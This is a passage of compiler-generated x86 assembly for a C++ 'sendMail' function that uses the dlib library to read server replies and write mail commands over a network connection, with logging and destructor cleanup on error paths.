>,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1> mov BYTE PTR __$EHRec$[ebp+12], 1 lea ecx, DWORD PTR _to$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 0 lea ecx, DWORD PTR _subject$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR __$EHRec$[ebp+12], -1 lea ecx, DWORD PTR _msg$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov al, BYTE PTR $T369509[ebp] jmp $LN8@sendMail $LN6@sendMail: ; Line 45 push 1000 ; 000003e8H push 256 ; 00000100H lea edx, DWORD PTR _sBuffer$151621[ebp] push edx lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read ; Line 46 push OFFSET $SG-68224 push OFFSET $SG-68225 lea ecx, DWORD PTR $T151669[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv780[ebp], eax mov eax, DWORD PTR tv780[ebp] mov DWORD PTR tv670[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 19 ; 00000013H sub esp, 28 ; 0000001cH mov ecx, esp mov DWORD PTR $T369510[ebp], esp lea edx, DWORD PTR _sBuffer$151621[ebp] push edx mov eax, DWORD PTR tv670[ebp] push eax push ecx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv673[ebp], eax call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message add esp, 32 ; 00000020H mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151669[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 78 lea ecx, DWORD PTR _smtp_address$151623[ebp] push ecx push OFFSET $SG-68227 lea edx, DWORD PTR $T151674[ebp] push edx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv781[ebp], eax mov eax, DWORD PTR tv781[ebp] mov DWORD PTR tv675[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 20 ; 00000014H push OFFSET $SG-68226 mov ecx, DWORD PTR tv675[ebp] push ecx lea edx, DWORD PTR $T151675[ebp] push edx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv782[ebp], eax mov eax, DWORD PTR tv782[ebp] mov DWORD PTR tv677[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 21 ; 00000015H mov ecx, DWORD PTR tv677[ebp] push ecx lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@$$QAV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator= mov BYTE PTR __$EHRec$[ebp+12], 20 ; 00000014H lea ecx, DWORD PTR $T151675[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151674[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 79 push OFFSET $SG-68228 sub esp, 28 ; 0000001cH mov edx, esp mov DWORD PTR $T369511[ebp], esp lea eax, DWORD PTR _tmpStr$151622[ebp] push eax push OFFSET $SG-68229 push edx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv680[ebp], eax call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message add esp, 32 ; 00000020H ; Line 80 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size mov esi, eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size push eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data push eax lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write cmp eax, esi je SHORT $LN5@sendMail ; Line 81 mov BYTE PTR $T369512[ebp], 0 mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH lea ecx, DWORD PTR _con$151653[ebp] call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> > mov BYTE PTR __$EHRec$[ebp+12], 7 lea ecx, DWORD PTR _smtp_address$151623[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 6 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 3 lea ecx, DWORD PTR _config$151618[ebp] call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1> mov BYTE PTR __$EHRec$[ebp+12], 1 lea ecx, DWORD PTR _to$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 0 lea ecx, DWORD PTR _subject$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR __$EHRec$[ebp+12], -1 lea ecx, DWORD PTR _msg$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov al, BYTE PTR $T369512[ebp] jmp $LN8@sendMail $LN5@sendMail: ; Line 83 push 200 ; 000000c8H push 256 ; 00000100H lea ecx, DWORD PTR _sBuffer$151621[ebp] push ecx lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read ; Line 84 push OFFSET $SG-68230 push OFFSET $SG-68231 lea ecx, DWORD PTR $T151685[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv783[ebp], eax mov edx, DWORD PTR tv783[ebp] mov DWORD PTR tv689[ebp], edx mov BYTE PTR __$EHRec$[ebp+12], 22 ; 00000016H sub esp, 28 ; 0000001cH mov eax, esp mov DWORD PTR $T369513[ebp], esp lea ecx, DWORD PTR _sBuffer$151621[ebp] push ecx mov edx, DWORD PTR tv689[ebp] push edx push eax call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv692[ebp], eax call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message add esp, 32 ; 00000020H mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151685[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 86 lea eax, DWORD PTR _to$[ebp] push eax push OFFSET $SG-68233 lea ecx, DWORD PTR $T151690[ebp] push ecx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv784[ebp], eax mov edx, DWORD PTR tv784[ebp] mov DWORD PTR tv694[ebp], edx mov BYTE PTR __$EHRec$[ebp+12], 23 ; 00000017H push OFFSET $SG-68232 mov eax, DWORD PTR tv694[ebp] push eax lea ecx, DWORD PTR $T151691[ebp] push ecx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv785[ebp], eax mov edx, DWORD PTR tv785[ebp] mov DWORD PTR tv696[ebp], edx mov BYTE PTR __$EHRec$[ebp+12], 24 ; 00000018H mov eax, DWORD PTR tv696[ebp] push eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@$$QAV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator= mov BYTE PTR __$EHRec$[ebp+12], 23 ; 00000017H lea ecx, DWORD PTR $T151691[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151690[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 87 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size mov esi, eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size push eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data push eax lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write cmp eax, esi je SHORT $LN4@sendMail ; Line 88 mov BYTE PTR $T369514[ebp], 0 mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH lea ecx, DWORD PTR _con$151653[ebp] call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> > mov BYTE PTR __$EHRec$[ebp+12], 7 lea ecx, DWORD PTR _smtp_address$151623[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 6 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 3 lea ecx, DWORD PTR _config$151618[ebp] call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1> mov BYTE PTR __$EHRec$[ebp+12], 1 lea ecx, DWORD PTR _to$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 0 lea ecx, DWORD PTR _subject$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR __$EHRec$[ebp+12], -1 lea ecx, DWORD PTR _msg$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov al, BYTE PTR $T369514[ebp] jmp $LN8@sendMail $LN4@sendMail: ; Line 90 push 200 ; 000000c8H push 256 ; 00000100H lea ecx, DWORD PTR _sBuffer$151621[ebp] push ecx lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read ; Line 91 push OFFSET $SG-68234 push OFFSET $SG-68235 lea ecx, DWORD PTR $T151697[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv786[ebp], eax mov edx, DWORD PTR tv786[ebp] mov DWORD PTR tv705[ebp], edx mov BYTE PTR __$EHRec$[ebp+12], 25 ; 00000019H sub esp, 28 ; 0000001cH mov eax, esp mov DWORD PTR $T369515[ebp], esp lea ecx, DWORD PTR _sBuffer$151621[ebp] push ecx mov edx, DWORD PTR tv705[ebp] push edx push eax call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv708[ebp], eax call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message add esp, 32 ; 00000020H mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151697[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 94 push OFFSET $SG-68236 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator= ; Line 95 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size mov esi, eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size push eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data push eax lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write cmp eax, esi je SHORT $LN3@sendMail ; Line 96 mov BYTE PTR $T369516[ebp], 0 mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH lea ecx, DWORD PTR _con$151653[ebp] call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> > mov BYTE PTR __$EHRec$[ebp+12], 7 lea ecx, DWORD PTR _smtp_address$151623[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 6 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 3 lea ecx, DWORD PTR _config$151618[ebp] call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1> mov BYTE PTR __$EHRec$[ebp+12], 1 lea ecx, DWORD PTR _to$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> 